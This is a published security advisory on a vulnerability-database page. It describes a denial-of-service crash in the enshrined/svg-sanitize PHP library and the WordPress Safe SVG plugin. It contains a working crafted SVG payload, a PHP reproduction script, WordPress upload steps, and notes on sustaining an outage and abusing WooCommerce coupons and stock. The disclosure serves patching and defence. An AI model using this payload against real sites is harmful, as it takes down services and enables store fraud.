GHSA-V383-3RW5-Q8RF
Vulnerability from github – Published: 2026-10-08 19:41 – Updated: 2026-10-08 19:41Summary
A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by enshrined/svg-sanitize (any version through 0.22.x). The sanitizer's cleanAttributesOnWhitelist() method calls DOMElement::removeAttribute() twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD #FIXED default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.
Affected installations: - enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents - WordPress Safe SVG plugin: 1M+ active installs - TYPO3: svg-sanitize integrated into core since v9 - Drupal: community module wrapping svg-sanitize
Vulnerability Details
Trigger Flow
Sanitizer::sanitize($malicious_svg)
→ DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr
→ startClean() → cleanAttributesOnWhitelist($svgElement)
→ "badhref" NOT in allowedAttrs
→ removeAttribute("badhref") ← removes explicit attribute (safe)
→ stripos("badhref", "href") = TRUE
→ getAttribute("badhref") ← returns DTD #FIXED default value
→ isHrefSafeValue("javascript:x") ← returns FALSE
→ removeAttribute("badhref") ← hits XML_ATTRIBUTE_DECL → CRASH
Root cause in svg-sanitize: The sanitizer does not strip DOCTYPE/DTD declarations before processing. The cleanAttributesOnWhitelist() method at Sanitizer.php:303-330 has a double-removal pattern where the whitelist check and the href safety check can both call removeAttribute() on the same attribute name. When a DTD #FIXED default exists, the second call targets the DTD declaration node, triggering a PHP crash.
Second trigger path in cleanHrefAttributes() (Sanitizer.php:354): case-normalization of HrEf → href calls removeAttribute() then setAttribute() on the DTD default.
WordPress Code Path
User uploads SVG → WordPress wp_handle_upload()
→ filter 'wp_handle_upload_prefilter'
→ SafeSvg\safe_svg::check_for_svg() [safe-svg.php:176]
→ SafeSvg\safe_svg::sanitize($tmp_file) [safe-svg.php:218]
→ enshrined\Sanitizer::sanitize($contents) [Sanitizer.php:193]
→ cleanAttributesOnWhitelist() → double removeAttribute → CRASH
→ PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502
Proof of Concept
Malicious SVG (evil.svg)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ATTLIST svg badhref CDATA #FIXED "javascript:alert(1)">
]>
<svg xmlns="http://www.w3.org/2000/svg" badhref="javascript:alert(1)" viewBox="0 0 100 100">
<rect width="100" height="100" fill="red"/>
</svg>
Standalone reproduction
<?php
require_once 'vendor/autoload.php';
$svg = file_get_contents('evil.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo "Sanitized: " . strlen($clean) . " bytes\n";
// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134
WordPress reproduction
- WordPress (any version) + Safe SVG plugin (any version through 2.4.0)
- Login as Author → Media → Add New → upload
evil.svg - Result: HTTP 502 Bad Gateway, PHP-FPM worker killed
Confirmed output
$ docker exec wordpress php /tmp/test.php
Sanitized: 157 bytes
munmap_chunk(): invalid pointer
$ echo $?
134
PHP-FPM log:
[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)
Impact
Full Site Denial of Service
With pm.max_children = N: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.
Application State Corruption
SIGABRT bypasses register_shutdown_function(). On WordPress + WooCommerce:
- Coupon bypass: usage_count increment skipped → unlimited reuse of single-use coupons
- Stock oversell: stock reduction not committed → multiple orders for 1-stock items
- Cron starvation: wp_cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely
Attack surface
Safe SVG hooks wp_handle_upload_prefilter (safe-svg.php line 152). The hook fires when code calls wp_handle_upload() or wp_handle_sideload().
Note: Popular form plugins (Contact Form 7, WPForms) use move_uploaded_file() directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls wp_handle_upload() is affected.
| Scenario | Authentication | Affected installs |
|---|---|---|
| WordPress (default Safe SVG) — Media upload | Author role (upload_files cap) |
1M+ |
WordPress — REST API POST /wp/v2/media |
Author role | 1M+ |
WordPress — plugins using wp_handle_upload() for public uploads |
Varies by plugin | Plugin-dependent |
| Custom PHP app with svg-sanitize on public endpoint | Often none | 45M+ downloads |
| TYPO3 (svg-sanitize in core since v9) | Backend editor | All TYPO3 v9+ |
The strongest pre-auth scenario is custom PHP applications using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages.
CVSS
CVSS 3.1: 6.5 (Medium) — default WordPress (Author role)
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
For custom apps with unauthenticated svg-sanitize endpoints: CVSS 7.5 (High) (PR:N)
Suggested Fix
Strip DOCTYPE before parsing — eliminates the trigger regardless of PHP version:
// In Sanitizer::sanitize(), before loadXML():
$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);
Environment
- enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0)
- WordPress 6.9.4 + Safe SVG 2.4.0
- PHP 8.3.24 (fpm), NTS, x86_64
- nginx + PHP-FPM (Docker)
Reported by ExPatch Security Research — expatch.llc Denis Rostilov
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.0"
},
"package": {
"ecosystem": "Packagist",
"name": "enshrined/svg-sanitize"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107379"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T19:41:05Z",
"nvd_published_at": "2026-10-08T18:17:23Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA crafted SVG file (1009 bytes) crashes the PHP process when sanitized by `enshrined/svg-sanitize` (any version through 0.22.x). The sanitizer\u0027s `cleanAttributesOnWhitelist()` method calls `DOMElement::removeAttribute()` twice on the same attribute name \u2014 first removing the explicit attribute, then attempting to remove the DTD `#FIXED` default \u2014 triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.\n\n**Affected installations:**\n- **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents\n- **WordPress Safe SVG plugin:** 1M+ active installs\n- **TYPO3:** svg-sanitize integrated into core since v9\n- **Drupal:** community module wrapping svg-sanitize\n\n## Vulnerability Details\n\n### Trigger Flow\n\n```\nSanitizer::sanitize($malicious_svg)\n \u2192 DOMDocument::loadXML() \u2014 parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr\n \u2192 startClean() \u2192 cleanAttributesOnWhitelist($svgElement)\n \u2192 \"badhref\" NOT in allowedAttrs\n \u2192 removeAttribute(\"badhref\") \u2190 removes explicit attribute (safe)\n \u2192 stripos(\"badhref\", \"href\") = TRUE\n \u2192 getAttribute(\"badhref\") \u2190 returns DTD #FIXED default value\n \u2192 isHrefSafeValue(\"javascript:x\") \u2190 returns FALSE\n \u2192 removeAttribute(\"badhref\") \u2190 hits XML_ATTRIBUTE_DECL \u2192 CRASH\n```\n\n**Root cause in svg-sanitize:** The sanitizer does not strip DOCTYPE/DTD declarations before processing. The `cleanAttributesOnWhitelist()` method at `Sanitizer.php:303-330` has a double-removal pattern where the whitelist check and the href safety check can both call `removeAttribute()` on the same attribute name. When a DTD `#FIXED` default exists, the second call targets the DTD declaration node, triggering a PHP crash.\n\n**Second trigger path** in `cleanHrefAttributes()` (`Sanitizer.php:354`): case-normalization of `HrEf` \u2192 `href` calls `removeAttribute()` then `setAttribute()` on the DTD default.\n\n### WordPress Code Path\n\n```\nUser uploads SVG \u2192 WordPress wp_handle_upload()\n \u2192 filter \u0027wp_handle_upload_prefilter\u0027\n \u2192 SafeSvg\\safe_svg::check_for_svg() [safe-svg.php:176]\n \u2192 SafeSvg\\safe_svg::sanitize($tmp_file) [safe-svg.php:218]\n \u2192 enshrined\\Sanitizer::sanitize($contents) [Sanitizer.php:193]\n \u2192 cleanAttributesOnWhitelist() \u2192 double removeAttribute \u2192 CRASH\n \u2192 PHP-FPM worker killed (SIGABRT) \u2192 nginx returns HTTP 502\n```\n\n## Proof of Concept\n\n### Malicious SVG (evil.svg)\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE svg [\n \u003c!ATTLIST svg badhref CDATA #FIXED \"javascript:alert(1)\"\u003e\n]\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" badhref=\"javascript:alert(1)\" viewBox=\"0 0 100 100\"\u003e\n \u003crect width=\"100\" height=\"100\" fill=\"red\"/\u003e\n\u003c/svg\u003e\n```\n\n### Standalone reproduction\n\n```php\n\u003c?php\nrequire_once \u0027vendor/autoload.php\u0027;\n\n$svg = file_get_contents(\u0027evil.svg\u0027);\n$sanitizer = new \\enshrined\\svgSanitize\\Sanitizer();\n$clean = $sanitizer-\u003esanitize($svg);\necho \"Sanitized: \" . strlen($clean) . \" bytes\\n\";\n// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134\n```\n\n### WordPress reproduction\n\n1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0)\n2. Login as Author \u2192 Media \u2192 Add New \u2192 upload `evil.svg`\n3. **Result:** HTTP 502 Bad Gateway, PHP-FPM worker killed\n\n### Confirmed output\n\n```\n$ docker exec wordpress php /tmp/test.php\nSanitized: 157 bytes\nmunmap_chunk(): invalid pointer\n$ echo $?\n134\n\nPHP-FPM log:\n[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)\n```\n\n## Impact\n\n### Full Site Denial of Service\n\nWith `pm.max_children = N`: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.\n\n### Application State Corruption\n\nSIGABRT bypasses `register_shutdown_function()`. On WordPress + WooCommerce:\n- **Coupon bypass:** usage_count increment skipped \u2192 unlimited reuse of single-use coupons\n- **Stock oversell:** stock reduction not committed \u2192 multiple orders for 1-stock items\n- **Cron starvation:** wp_cron blocked \u2192 scheduled cleanup (unpaid order cancellation) never runs \u2192 stock held indefinitely\n\n### Attack surface\n\nSafe SVG hooks `wp_handle_upload_prefilter` (safe-svg.php line 152). The hook fires when code calls `wp_handle_upload()` or `wp_handle_sideload()`.\n\n**Note:** Popular form plugins (Contact Form 7, WPForms) use `move_uploaded_file()` directly, bypassing WordPress\u0027s upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls `wp_handle_upload()` is affected.\n\n| Scenario | Authentication | Affected installs |\n|---|---|---|\n| WordPress (default Safe SVG) \u2014 Media upload | Author role (`upload_files` cap) | 1M+ |\n| WordPress \u2014 REST API `POST /wp/v2/media` | Author role | 1M+ |\n| WordPress \u2014 plugins using `wp_handle_upload()` for public uploads | Varies by plugin | Plugin-dependent |\n| Custom PHP app with svg-sanitize on public endpoint | **Often none** | 45M+ downloads |\n| TYPO3 (svg-sanitize in core since v9) | Backend editor | All TYPO3 v9+ |\n\nThe strongest pre-auth scenario is **custom PHP applications** using svg-sanitize directly on public upload endpoints \u2014 a common pattern given 45M+ Packagist downloads and 90+ dependent packages.\n\n## CVSS\n\n**CVSS 3.1: 6.5 (Medium)** \u2014 default WordPress (Author role)\n\n`AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`\n\nFor custom apps with unauthenticated svg-sanitize endpoints: **CVSS 7.5 (High)** (PR:N)\n\n## Suggested Fix\n\nStrip DOCTYPE before parsing \u2014 eliminates the trigger regardless of PHP version:\n\n```php\n// In Sanitizer::sanitize(), before loadXML():\n$dirty = preg_replace(\u0027/\u003c!DOCTYPE[^\u003e]*(?:\\[.*?\\])?\\s*\u003e/si\u0027, \u0027\u0027, $dirty);\n```\n\n## Environment\n\n- enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0)\n- WordPress 6.9.4 + Safe SVG 2.4.0\n- PHP 8.3.24 (fpm), NTS, x86_64\n- nginx + PHP-FPM (Docker)\n\n**Reported by ExPatch Security Research \u2014 [expatch.llc](https://expatch.llc/)\nDenis Rostilov**",
"id": "GHSA-v383-3rw5-q8rf",
"modified": "2026-10-08T19:41:05Z",
"published": "2026-10-08T19:41:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-v383-3rw5-q8rf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107379"
},
{
"type": "WEB",
"url": "https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867"
},
{
"type": "PACKAGE",
"url": "https://github.com/darylldoyle/svg-sanitizer"
},
{
"type": "WEB",
"url": "https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.